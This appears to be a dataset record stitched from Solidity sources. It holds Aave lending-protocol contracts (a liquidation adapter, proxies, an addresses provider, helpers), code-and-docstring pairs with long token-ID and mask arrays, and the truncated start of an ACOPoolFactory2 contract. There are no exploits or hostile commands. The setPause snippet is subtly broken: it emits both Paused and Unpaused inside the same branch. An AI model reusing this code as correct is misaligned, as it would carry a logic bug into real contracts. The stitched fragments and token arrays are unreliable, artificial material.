collateral released, not current asset balance of the contract vars.diffCollateralBalance = collateralBalanceAfter.sub(vars.initCollateralBalance); if (collateralAsset != borrowedAsset) { // Discover flash loan balance after the liquidation uint256 flashBorrowedAssetAfter = IERC20(borrowedAsset).balanceOf(address(this)); // Use only flash loan borrowed assets, not current asset balance of the contract vars.diffFlashBorrowedBalance = flashBorrowedAssetAfter.sub(vars.borrowedAssetLeftovers); // Swap released collateral into the debt asset, to repay the flash loan vars.soldAmount = _swapTokensForExactTokens( collateralAsset, borrowedAsset, vars.diffCollateralBalance, vars.flashLoanDebt.sub(vars.diffFlashBorrowedBalance), useEthPath ); vars.remainingTokens = vars.diffCollateralBalance.sub(vars.soldAmount); } else { vars.remainingTokens = vars.diffCollateralBalance.sub(premium); } // Allow repay of flash loan IERC20(borrowedAsset).approve(address(LENDING_POOL), vars.flashLoanDebt); // Transfer remaining tokens to initiator if (vars.remainingTokens > 0) { IERC20(collateralAsset).transfer(initiator, vars.remainingTokens); } } /** * @dev Decodes the information encoded in the flash loan params * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset The collateral asset to claim * address borrowedAsset The asset that must be covered and will be exchanged to pay the flash loan premium * address user The user address with a Health Factor below 1 * uint256 debtToCover The amount of debt to cover * bool useEthPath Use WETH as connector path between the collateralAsset and borrowedAsset at Uniswap * @return LiquidationParams struct containing decoded params */ function _decodeParams(bytes memory params) internal pure returns (LiquidationParams memory) { ( address collateralAsset, address borrowedAsset, address user, uint256 debtToCover, bool useEthPath ) = abi.decode(params, (address, address, address, uint256, bool)); return LiquidationParams(collateralAsset, borrowedAsset, user, debtToCover, useEthPath); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseAdminUpgradeabilityProxy.sol'; import './InitializableUpgradeabilityProxy.sol'; /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param logic address of the initial implementation. * @param admin Address of the proxy administrator. * @param data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize( address logic, address admin, bytes memory data ) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(logic, data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(admin); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) { BaseAdminUpgradeabilityProxy._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './UpgradeabilityProxy.sol'; /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), 'Cannot change the admin of a proxy to the zero address'); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; //solium-disable-next-line assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; //solium-disable-next-line assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != _admin(), 'Cannot call fallback function from the proxy admin'); super._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseUpgradeabilityProxy.sol'; /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseAdminUpgradeabilityProxy.sol'; /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable UpgradeabilityProxy(_logic, _data) { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) { BaseAdminUpgradeabilityProxy._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol'; // Prettier ignore to prevent buidler flatter bug // prettier-ignore import {InitializableImmutableAdminUpgradeabilityProxy} from '../libraries/aave-upgradeability/InitializableImmutableAdminUpgradeabilityProxy.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ contract LendingPoolAddressesProvider is Ownable, ILendingPoolAddressesProvider { string private _marketId; mapping(bytes32 => address) private _addresses; bytes32 private constant LENDING_POOL = 'LENDING_POOL'; bytes32 private constant LENDING_POOL_CONFIGURATOR = 'LENDING_POOL_CONFIGURATOR'; bytes32 private constant POOL_ADMIN = 'POOL_ADMIN'; bytes32 private constant EMERGENCY_ADMIN = 'EMERGENCY_ADMIN'; bytes32 private constant LENDING_POOL_COLLATERAL_MANAGER = 'COLLATERAL_MANAGER'; bytes32 private constant PRICE_ORACLE = 'PRICE_ORACLE'; bytes32 private constant LENDING_RATE_ORACLE = 'LENDING_RATE_ORACLE'; constructor(string memory marketId) public { _setMarketId(marketId); } /** * @dev Returns the id of the Aave market to which this contracts points to * @return The market id **/ function getMarketId() external view override returns (string memory) { return _marketId; } /** * @dev Allows to set the market which this LendingPoolAddressesProvider represents * @param marketId The market id */ function setMarketId(string memory marketId) external override onlyOwner { _setMarketId(marketId); } /** * @dev General function to update the implementation of a proxy registered with * certain `id`. If there is no proxy registered, it will instantiate one and * set as implementation the `implementationAddress` * IMPORTANT Use this function carefully, only for ids that don't have an explicit * setter function, in order to avoid unexpected consequences * @param id The id * @param implementationAddress The address of the new implementation */ function setAddressAsProxy(bytes32 id, address implementationAddress) external override onlyOwner { _updateImpl(id, implementationAddress); emit AddressSet(id, implementationAddress, true); } /** * @dev Sets an address for an id replacing the address saved in the addresses map * IMPORTANT Use this function carefully, as it will do a hard replacement * @param id The id * @param newAddress The address to set */ function setAddress(bytes32 id, address newAddress) external override onlyOwner { _addresses[id] = newAddress; emit AddressSet(id, newAddress, false); } /** * @dev Returns an address by id * @return The address */ function getAddress(bytes32 id) public view override returns (address) { return _addresses[id]; } /** * @dev Returns the address of the LendingPool proxy * @return The LendingPool proxy address **/ function getLendingPool() external view override returns (address) { return getAddress(LENDING_POOL); } /** * @dev Updates the implementation of the LendingPool, or creates the proxy * setting the new `pool` implementation on the first time calling it * @param pool The new LendingPool implementation **/ function setLendingPoolImpl(address pool) external override onlyOwner { _updateImpl(LENDING_POOL, pool); emit LendingPoolUpdated(pool); } /** * @dev Returns the address of the LendingPoolConfigurator proxy * @return The LendingPoolConfigurator proxy address **/ function getLendingPoolConfigurator() external view override returns (address) { return getAddress(LENDING_POOL_CONFIGURATOR); } /** * @dev Updates the implementation of the LendingPoolConfigurator, or creates the proxy * setting the new `configurator` implementation on the first time calling it * @param configurator The new LendingPoolConfigurator implementation **/ function setLendingPoolConfiguratorImpl(address configurator) external override onlyOwner { _updateImpl(LENDING_POOL_CONFIGURATOR, configurator); emit LendingPoolConfiguratorUpdated(configurator); } /** * @dev Returns the address of the LendingPoolCollateralManager. Since the manager is used * through delegateCall within the LendingPool contract, the proxy contract pattern does not work properly hence * the addresses are changed directly * @return The address of the LendingPoolCollateralManager **/ function getLendingPoolCollateralManager() external view override returns (address) { return getAddress(LENDING_POOL_COLLATERAL_MANAGER); } /** * @dev Updates the address of the LendingPoolCollateralManager * @param manager The new LendingPoolCollateralManager address **/ function setLendingPoolCollateralManager(address manager) external override onlyOwner { _addresses[LENDING_POOL_COLLATERAL_MANAGER] = manager; emit LendingPoolCollateralManagerUpdated(manager); } /** * @dev The functions below are getters/setters of addresses that are outside the context * of the protocol hence the upgradable proxy pattern is not used **/ function getPoolAdmin() external view override returns (address) { return getAddress(POOL_ADMIN); } function setPoolAdmin(address admin) external override onlyOwner { _addresses[POOL_ADMIN] = admin; emit ConfigurationAdminUpdated(admin); } function getEmergencyAdmin() external view override returns (address) { return getAddress(EMERGENCY_ADMIN); } function setEmergencyAdmin(address emergencyAdmin) external override onlyOwner { _addresses[EMERGENCY_ADMIN] = emergencyAdmin; emit EmergencyAdminUpdated(emergencyAdmin); } function getPriceOracle() external view override returns (address) { return getAddress(PRICE_ORACLE); } function setPriceOracle(address priceOracle) external override onlyOwner { _addresses[PRICE_ORACLE] = priceOracle; emit PriceOracleUpdated(priceOracle); } function getLendingRateOracle() external view override returns (address) { return getAddress(LENDING_RATE_ORACLE); } function setLendingRateOracle(address lendingRateOracle) external override onlyOwner { _addresses[LENDING_RATE_ORACLE] = lendingRateOracle; emit LendingRateOracleUpdated(lendingRateOracle); } /** * @dev Internal function to update the implementation of a specific proxied component of the protocol * - If there is no proxy registered in the given `id`, it creates the proxy setting `newAdress` * as implementation and calls the initialize() function on the proxy * - If there is already a proxy registered, it just updates the implementation to `newAddress` and * calls the initialize() function via upgradeToAndCall() in the proxy * @param id The id of the proxy to be updated * @param newAddress The address of the new implementation **/ function _updateImpl(bytes32 id, address newAddress) internal { address payable proxyAddress = payable(_addresses[id]); InitializableImmutableAdminUpgradeabilityProxy proxy = InitializableImmutableAdminUpgradeabilityProxy(proxyAddress); bytes memory params = abi.encodeWithSignature('initialize(address)', address(this)); if (proxyAddress == address(0)) { proxy = new InitializableImmutableAdminUpgradeabilityProxy(address(this)); proxy.initialize(newAddress, params); _addresses[id] = address(proxy); emit ProxyCreated(id, address(proxy)); } else { proxy.upgradeToAndCall(newAddress, params); } } function _setMarketId(string memory marketId) internal { _marketId = marketId; emit MarketIdSet(marketId); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {LendingPool} from '../protocol/lendingpool/LendingPool.sol'; import { LendingPoolAddressesProvider } from '../protocol/configuration/LendingPoolAddressesProvider.sol'; import {LendingPoolConfigurator} from '../protocol/lendingpool/LendingPoolConfigurator.sol'; import {AToken} from '../protocol/tokenization/AToken.sol'; import { DefaultReserveInterestRateStrategy } from '../protocol/lendingpool/DefaultReserveInterestRateStrategy.sol'; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {StringLib} from './StringLib.sol'; contract ATokensAndRatesHelper is Ownable { address payable private pool; address private addressesProvider; address private poolConfigurator; event deployedContracts(address aToken, address strategy); struct InitDeploymentInput { address asset; uint256[6] rates; } struct ConfigureReserveInput { address asset; uint256 baseLTV; uint256 liquidationThreshold; uint256 liquidationBonus; uint256 reserveFactor; bool stableBorrowingEnabled; } constructor( address payable _pool, address _addressesProvider, address _poolConfigurator ) public { pool = _pool; addressesProvider = _addressesProvider; poolConfigurator = _poolConfigurator; } function initDeployment(InitDeploymentInput[] calldata inputParams) external onlyOwner { for (uint256 i = 0; i < inputParams.length; i++) { emit deployedContracts( address(new AToken()), address( new DefaultReserveInterestRateStrategy( LendingPoolAddressesProvider(addressesProvider), inputParams[i].rates[0], inputParams[i].rates[1], inputParams[i].rates[2], inputParams[i].rates[3], inputParams[i].rates[4], inputParams[i].rates[5] ) ) ); } } function configureReserves(ConfigureReserveInput[] calldata inputParams) external onlyOwner { LendingPoolConfigurator configurator = LendingPoolConfigurator(poolConfigurator); for (uint256 i = 0; i < inputParams.length; i++) { configurator.configureReserveAsCollateral( inputParams[i].asset, inputParams[i].baseLTV, inputParams[i].liquidationThreshold, inputParams[i].liquidationBonus ); configurator.enableBorrowingOnReserve( inputParams[i].asset, inputParams[i].stableBorrowingEnabled ); configurator.setReserveFactor(inputParams[i].asset, inputParams[i].reserveFactor); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; library StringLib { function concat(string memory a, string memory b) internal pure returns (string memory) { return string(abi.encodePacked(a, b)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {StableDebtToken} from '../protocol/tokenization/StableDebtToken.sol'; import {VariableDebtToken} from '../protocol/tokenization/VariableDebtToken.sol'; import {LendingRateOracle} from '../mocks/oracle/LendingRateOracle.sol'; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {StringLib} from './StringLib.sol'; contract StableAndVariableTokensHelper is Ownable { address payable private pool; address private addressesProvider; event deployedContracts(address stableToken, address variableToken); constructor(address payable _pool, address _addressesProvider) public { pool = _pool; addressesProvider = _addressesProvider; } function initDeployment(address[] calldata tokens, string[] calldata symbols) external onlyOwner { require(tokens.length == symbols.length, 'Arrays not same length'); require(pool != address(0), 'Pool can not be zero address'); for (uint256 i = 0; i < tokens.length; i++) { emit deployedContracts(address(new StableDebtToken()), address(new VariableDebtToken())); } } function setOracleBorrowRates( address[] calldata assets, uint256[] calldata rates, address oracle ) external onlyOwner { require(assets.length == rates.length, 'Arrays not same length'); for (uint256 i = 0; i < assets.length; i++) { // LendingRateOracle owner must be this contract LendingRateOracle(oracle).setMarketBorrowRate(assets[i], rates[i]); } } function setOracleOwnership(address oracle, address admin) external onlyOwner { require(admin != address(0), 'owner can not be zero'); require(LendingRateOracle(oracle).owner() == address(this), 'helper is not owner'); LendingRateOracle(oracle).transferOwnership(admin); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingRateOracle} from '../../interfaces/ILendingRateOracle.sol'; import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol'; contract LendingRateOracle is ILendingRateOracle, Ownable { mapping(address => uint256) borrowRates; mapping(address => uint256) liquidityRates; function getMarketBorrowRate(address _asset) external view override returns (uint256) { return borrowRates[_asset]; } function setMarketBorrowRate(address _asset, uint256 _rate) external override onlyOwner { borrowRates[_asset] = _rate; } function getMarketLiquidityRate(address _asset) external view returns (uint256) { return liquidityRates[_asset]; } function setMarketLiquidityRate(address _asset, uint256 _rate) external onlyOwner { liquidityRates[_asset] = _rate; } }
* @dev Set the _pause state of a reserve - Only callable by the LendingPoolConfigurator contract @param val `true` to pause the reserve, `false` to un-pause it/
function setPause(bool val) external override onlyLendingPoolConfigurator { _paused = val; if (_paused) { emit Paused(); emit Unpaused(); } }
68,756
[ 1, 694, 326, 389, 19476, 919, 434, 279, 20501, 300, 5098, 4140, 635, 326, 511, 2846, 2864, 17182, 6835, 225, 1244, 1375, 3767, 68, 358, 11722, 326, 20501, 16, 1375, 5743, 68, 358, 640, 17, 19476, 518, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 17004, 1579, 12, 6430, 1244, 13, 3903, 3849, 1338, 48, 2846, 2864, 17182, 288, 203, 565, 389, 8774, 3668, 273, 1244, 31, 203, 565, 309, 261, 67, 8774, 3668, 13, 288, 203, 1377, 3626, 21800, 3668, 5621, 203, 1377, 3626, 1351, 8774, 3668, 5621, 203, 565, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0xAD4C5669fb72090B0145f43769E17B2e00200161/sources/polygon.sol
Returns an URI for a given token ID
function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; }
4,763,115
[ 1, 1356, 392, 3699, 364, 279, 864, 1147, 1599, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 1969, 3098, 1435, 2713, 1476, 5024, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 565, 327, 1026, 1345, 3098, 31, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.6; pragma experimental ABIEncoderV2; import "./Address.sol"; import "./IACOPool2.sol"; /** * @title ACOPoolFactory * @dev The contract is the implementation for the ACOProxy. */ contract ACOPoolFactory2 { /** * @dev Struct to store the ACO pool basic data. */ struct ACOPoolBasicData { /** * @dev Address of the underlying asset (0x0 for Ethereum). */ address underlying; /** * @dev Address of the strike asset (0x0 for Ethereum). */ address strikeAsset; /** * @dev True if the type is CALL, false for PUT. */ bool isCall; } /** * @dev Emitted when the factory admin address has been changed. * @param previousFactoryAdmin Address of the previous factory admin. * @param newFactoryAdmin Address of the new factory admin. */ event SetFactoryAdmin(address indexed previousFactoryAdmin, address indexed newFactoryAdmin); /** * @dev Emitted when the ACO pool implementation has been changed. * @param previousAcoPoolImplementation Address of the previous ACO pool implementation. * @param previousAcoPoolImplementation Address of the new ACO pool implementation. */ event SetAcoPoolImplementation(address indexed previousAcoPoolImplementation, address indexed newAcoPoolImplementation); /** * @dev Emitted when the ACO factory has been changed. * @param previousAcoFactory Address of the previous ACO factory. * @param newAcoFactory Address of the new ACO factory. */ event SetAcoFactory(address indexed previousAcoFactory, address indexed newAcoFactory); /** * @dev Emitted when the Chi Token has been changed. * @param previousChiToken Address of the previous Chi Token. * @param newChiToken Address of the new Chi Token. */ event SetChiToken(address indexed previousChiToken, address indexed newChiToken); /** * @dev Emitted when the asset converter helper has been changed. * @param previousAssetConverterHelper Address of the previous asset converter helper. * @param newAssetConverterHelper Address of the new asset converter helper. */ event SetAssetConverterHelper(address indexed previousAssetConverterHelper, address indexed newAssetConverterHelper); /** * @dev Emitted when the ACO Pool fee has been changed. * @param previousAcoFee Value of the previous ACO Pool fee. * @param newAcoFee Value of the new ACO Pool fee. */ event SetAcoPoolFee(uint256 indexed previousAcoFee, uint256 indexed newAcoFee); /** * @dev Emitted when the ACO Pool fee destination address has been changed. * @param previousAcoPoolFeeDestination Address of the previous ACO Pool fee destination. * @param newAcoPoolFeeDestination Address of the new ACO Pool fee destination. */ event SetAcoPoolFeeDestination(address indexed previousAcoPoolFeeDestination, address indexed newAcoPoolFeeDestination); /** * @dev Emitted when the ACO Pool penalty percentage on withdrawing open positions has been changed. * @param previousWithdrawOpenPositionPenalty Value of the previous penalty percentage on withdrawing open positions. * @param newWithdrawOpenPositionPenalty Value of the new penalty percentage on withdrawing open positions. */ event SetAcoPoolWithdrawOpenPositionPenalty(uint256 indexed previousWithdrawOpenPositionPenalty, uint256 indexed newWithdrawOpenPositionPenalty); /** * @dev Emitted when the ACO Pool underlying price percentage adjust has been changed. * @param previousUnderlyingPriceAdjustPercentage Value of the previous ACO Pool underlying price percentage adjust. * @param newUnderlyingPriceAdjustPercentage Value of the new ACO Pool underlying price percentage adjust. */ event SetAcoPoolUnderlyingPriceAdjustPercentage(uint256 indexed previousUnderlyingPriceAdjustPercentage, uint256 indexed newUnderlyingPriceAdjustPercentage); /** * @dev Emitted when the ACO Pool maximum number of open ACOs allowed has been changed. * @param previousMaximumOpenAco Value of the previous ACO Pool maximum number of open ACOs allowed. * @param newMaximumOpenAco Value of the new ACO Pool maximum number of open ACOs allowed. */ event SetAcoPoolMaximumOpenAco(uint256 indexed previousMaximumOpenAco, uint256 indexed newMaximumOpenAco); /** * @dev Emitted when permission for an ACO pool admin has been changed. * @param poolAdmin Address of the ACO pool admin. * @param previousPermission The previous permission situation. * @param newPermission The new permission situation. */ event SetAcoPoolPermission(address indexed poolAdmin, bool indexed previousPermission, bool indexed newPermission); /** * @dev Emitted when a strategy permission has been changed. * @param strategy Address of the strategy. * @param previousPermission The previous strategy permission. * @param newPermission The new strategy permission. */ event SetStrategyPermission(address indexed strategy, bool indexed previousPermission, bool newPermission); /** * @dev Emitted when a new ACO pool has been created. * @param underlying Address of the underlying asset (0x0 for Ethereum). * @param strikeAsset Address of the strike asset (0x0 for Ethereum). * @param isCall True if the type is CALL, false for PUT. * @param acoPool Address of the new ACO pool created. * @param acoPoolImplementation Address of the ACO pool implementation used on creation. */ event NewAcoPool(address indexed underlying, address indexed strikeAsset, bool indexed isCall, address acoPool, address acoPoolImplementation); /** * @dev The factory admin address. */ address public factoryAdmin; /** * @dev The ACO pool implementation address. */ address public acoPoolImplementation; /** * @dev The ACO factory address. */ address public acoFactory; /** * @dev The ACO asset converter helper. */ address public assetConverterHelper; /** * @dev The Chi Token address. */ address public chiToken; /** * @dev The ACO Pool fee value. * It is a percentage value (100000 is 100%). */ uint256 public acoPoolFee; /** * @dev The ACO Pool fee destination address. */ address public acoPoolFeeDestination; /** * @dev The ACO Pool penalty percentage on withdrawing open positions. */ uint256 public acoPoolWithdrawOpenPositionPenalty; /** * @dev The ACO Pool underlying price percentage adjust. */ uint256 public acoPoolUnderlyingPriceAdjustPercentage; /** * @dev The ACO Pool maximum number of open ACOs allowed. */ uint256 public acoPoolMaximumOpenAco; /** * @dev The ACO pool admin permissions. */ mapping(address => bool) public poolAdminPermission; /** * @dev The strategies permitted. */ mapping(address => bool) public strategyPermitted; /** * @dev The ACO pool basic data. */ mapping(address => ACOPoolBasicData) public acoPoolBasicData; /** * @dev Modifier to check if the `msg.sender` is the factory admin. * Only factory admin address can execute. */ modifier onlyFactoryAdmin() { 